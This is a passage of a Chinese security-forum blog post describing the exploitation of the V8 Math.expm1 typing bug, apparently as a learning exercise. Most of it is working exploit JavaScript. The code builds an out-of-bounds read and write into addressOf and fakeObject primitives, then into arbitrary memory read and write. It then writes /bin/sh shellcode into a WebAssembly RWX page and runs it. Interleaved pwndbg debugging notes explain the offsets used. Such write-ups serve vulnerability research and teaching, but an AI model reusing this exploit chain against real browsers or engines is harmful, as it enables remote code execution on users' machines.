  let badly_typed =new Date();badly_typed.setTime(-864000000*15000000);badly_typed=Date.prototype.getDate.call(badly_typed);
  badly_typed = Math.abs(badly_typed-18);
  badly_typed = badly_typed >>4;//range (0,1)--real:2
  let bad =Math.abs(Math.abs(Math.abs((badly_typed&0xff)*4-2)*2-2)*2-4);//real:16
  var leak;
  if (++it3 < 0x10000) {
    leak = undefined;
  }
  else {
     arr=[xxx,xxx,xxx,xxx,xxx];
     arr2 = [ele,ele,ele,ele,ele];//victim
    arr[bad]=omap;
    if (arr.length==5) {
        leak=arr2[2];
if(typeof(leak)=="object"){
        console.log(leak);
        return leak;
        }
    }
  }
  return FAILURE;
}
console.log("---------map write start--------------");
var obj={x:xxx,y:xxx};
%DebugPrint(obj);
var addr =opt_getaddr(obj);
for (let i = 0; i < 0x10000; ++i){
    addr = opt_getaddr(obj);
}
for (let i = 0; i < 0x10000; ++i){
  addr = opt_getaddr(obj);
    if(addr!=undefined&&addr!=FAILURE)
        break;
}
 
console.log("objaddr:"+hex(f2i(addr)-1n));
%DebugPrint(obj);
var newobj =opt_fakeobj(addr);
for (let i = 0; i < 0x10000; ++i){
    newobj =opt_fakeobj(addr);
}
for (let i = 0; i < 0x10000; ++i){
  newobj =opt_fakeobj(addr);
if(newobj.x!=undefined){
console.log("newobj.x:"+newobj.x);%DebugPrint(newobj);break;}

以上代码,通过越界,跨过自身元素(5个),自身数组主体(4个),后一个数组元素(2+5=7个),访问到后一个元素的Map。

其实设计时想的是不管是元素在数组前还是在数组后都能成功,抽象图:

//4--2-- n1--4--2--n2 --4--2--n3
//2-- n1--4--2--n2 --4--2--n3 --4

如果元素在数组后的话,同样的方式可以访问到第三个数组的Map,但是对于一个在前一个在后或者根本不连续无效。

实测大部分都是元素在前,所以只用两个数组。

已经实现了addressOf和fakeObject,但是测试时又出了几次错,最后发现时let的问题后删掉恢复正常。

其中fakeObject和addressOf两个本质都是替换map,但是用同一个函数实现却跑不通(获取地址正常,但再转为对象时返回的是数字),可能是优化器对返回类型的改变,也可能是内存布局导致没能写到后一个数组map。分开后虽然成功,但在后面调用也不一定成功,原因未知,所以后面调用时每次都加了这样的循环。

addr=undefined;
for (let i =0; i <0x10000; ++i){
  addr = opt_getaddr(f);
  if(addr!=undefined&&addr!=FAILURE)
        break;
}
%DebugPrint(f);
var f_addr = f2i(addr) -1n;


 最终利用


接下来就是利用读写Map的能力,调用system("/bin/bash")之类的。

Exploiting the Math.expm1 typing bug in V8https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/里,直接利用越界读写 ArrayBuffer里读写数据得指针,来实现任意地址读写,不需要fakeObj。但是没有给出完整代码。

从一道CTF题零基础学V8漏洞利用里,https://www.freebuf.com/vuls/203721.html利用fakeObj伪造一个数组,并伪造其元素指针(读写时竟然没有用到元素中的长度而只用数组读写的长度),来实现任意地址读写。

并且给出了一个完整的exp。(标题假的,我才是零基础)

再往后两篇文章都是用wasm来获取一个rwx地址写入shellcode并执行。

虽然前一个好像也不错,如果让我写应该要专门写两个函数尝试让编译器优化,也不知道能不能成功。但是后一个有完整exp。

本着代码能抄就抄的原则(前面i2f和f2i,hex已经抄了),复制了后一个的exp并进行修改,运行时在生成fake_object时出错。

var fake_array = [ float_array_map, i2f(0n), i2f(0x41414141n), i2f(0x1000000000n),1.1,2.2,];
var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr -0x40n +0x10n;
var fake_object = fakeObject(fake_object_addr);

观察代码逻辑发现,先创建六个元素的数组,这样元素结构在数组前的话,元素结构起始地址就是数组地址-0x40,因为元素结构开头的地方有两个0x8的数据,所以加上0x10。于是伪造的object从数组第一个元素开始,map,  ,元素指针,长度都是已经确定的。

问题就在于地址计算有误:

pwndbg>telescope 0x1c87c6c43138
00:0000│0x1c87c6c43138 —▸0x159241582b49 ◂—0x4000000dc692001
01:0008│0x1c87c6c43140 —▸0xdc69200b21 ◂—0xdc692007
02:0010│0x1c87c6c43148 —▸0x1c87c6c43369 ◂—0xdc692010
03:0018│0x1c87c6c43150 ◂—0x600000000

调试发现数组元素指针指向在数组地址+0x230的位置。

数组一开始生成的时候,确实和之前分析以及文中假设一致。但是在2.2中已经发现,object被多次传进函数返回后,其地址发生了变化。这个数组在被传进前面定义的opt_getaddr多次调用后,整个被复制到了另一个位置,导致内存结构完全改变。

因为几次观察到都是0x230的偏移,而且暂时没找出数组被复制的解决方法,直接把-0x40n改成+0x230n,再测试,发现:

Program received signal SIGSEGV (fault address0x41414150)

刚构造的假数组里元素指向0x41414141,显然不行,于是把这个地址改成一个对象的地址。

接着往后,到读写wasm代码的地方,读写完成后什么也没发生,怀疑时写错地址了。

于是参考:(搜v8和wasm发现)

Exploiting Chrome V8: Krautflare (35C3 CTF 2018)
https://www.jaybosamiya.com/blog/2019/01/02/krautflare/

v8 exploit - RealWorld CTF2019 accessible
https://xz.aliyun.com/t/6507

Chrome v8 exploit - OOB
https://xz.aliyun.com/t/5368

几篇文章对搜索rwx有不同方法,这要时后两篇,一个是instance +0x88,一个是instance +0x80,前面从函数获取instance的过程倒是一样。

于是调试了一下:

pwndbg> telescope0x32efad4e47f8+0x80
00:0000│0x32efad4e4878 —▸0x12ade0e6e000 ◂— jmp0x12ade0e6e2c0/* 0xcccccc000002bbe9 */
pwndbg> telescope0x32efad4e47f8+0x88
00:0000│0x32efad4e4880 —▸0x7643abc3511 ◂—0x21000023bbc02056

把原来exp里0x88改为0x80,最终得到以下结果:

let fake_array=[0.1,1.2,2.3,3.4,4.5,5.6];
%DebugPrint(fake_array);
//%SystemBreak();
 
fake_array[0]=fmap;
fake_array[1]=i2f(0n);
fake_array[2]=addr;
fake_array[3]=i2f(0x1000000000n);
 
%DebugPrint(fake_array);
//%SystemBreak();
 
addr=undefined;
for (let i =0; i <0x10000; ++i){
  addr = opt_getaddr(fake_array);
  if(addr!=undefined&&addr!=FAILURE)
        break;
}
var fake_array_addr = f2i(addr) -1n;
console.log("fake_array_addr:0x"+hex(fake_array_addr));
 
%DebugPrint(fake_array);
//%SystemBreak();
var fake_object_addr = fake_array_addr +0x230n +0x10n;
console.log("fake_obj_addr:0x"+hex(fake_object_addr));
//%SystemBreak();
 
var fake_object=undefined;
function objfake(){
for (let i =0; i <0x10000; ++i){
  fake_object = opt_fakeobj(i2f(fake_object_addr +1n));
  if(fake_object!=undefined&&fake_object!=FAILURE)
        break;
}
%DebugPrint(fake_object);
//%SystemBreak();
}
function read64(addr)
{
    fake_array[2] = i2f(addr -0x10n +0x1n);
    if(fake_object==undefined)objfake();
    let leak_data = f2i(fake_object[0]);
    console.log("[*] leak from: 0x" +hex(addr) +": 0x" + hex(leak_data));
    return leak_data;
}
function write64(addr, data)
{
    fake_array[2] = i2f(addr -0x10n +0x1n);
    if(fake_object==undefined)objfake();
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) +": 0x" + hex(data));
}
var wasmCode =new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule =new WebAssembly.Module(wasmCode);
var wasmInstance =new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
addr=undefined;
for (let i =0; i <0x10000; ++i){
  addr = opt_getaddr(f);
  if(addr!=undefined&&addr!=FAILURE)
        break;
}
%DebugPrint(f);
var f_addr = f2i(addr) -1n;
console.log("[*] leak wasm func addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr +0x18n) -0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr +0x8n) -0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr +0x10n) -0x1n;
var rwx_page_addr = read64(wasm_instance_addr +0x80n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
var data_buf =new ArrayBuffer(24);
addr=undefined;
for (let i =0; i <0x10000; ++i){
  addr = opt_getaddr(data_buf);
  if(addr!=undefined&&addr!=FAILURE)
        break;
}
%DebugPrint(data_buf);
var buf_backing_store_addr = f2i(addr) -1n +0x20n;
var data_view =new DataView(data_buf);
write64(buf_backing_store_addr, rwx_page_addr);
data_view.setFloat64(0, i2f(shellcode[0]),true);
data_view.setFloat64(8, i2f(shellcode[1]),true);
data_view.setFloat64(16, i2f(shellcode[2]),true);
%DebugPrint(f);
//%SystemBreak();
f();


换成命令行直接执行d8,要么在fakeObj用伪造数组时出错(Segmentation fault),要么运行到最后什么也没发生。

其实都是 伪造数组时出错 ,极有可能是调试状态下和普通运行内存分配不一样,不是0x230。

但是看到shell就已经满足了,再往后就算了。

三、总结


写了一整天,前面写的今天是昨天,昨天是前天。边写边调试改代码,最后结果还挺满意。

总体来讲很难,但是很有趣。

也没有什么汇编之类的,全程看内存,telescope不知道打了多少次,现在伸手就来。

再深入就要看v8源码,工程量太大了。


END

[公告] 推荐好文功能上线,分享知识还可以得雪币!推荐一篇文章获得20雪币!

最后于 2019-12-31 15:44 被kanxue编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回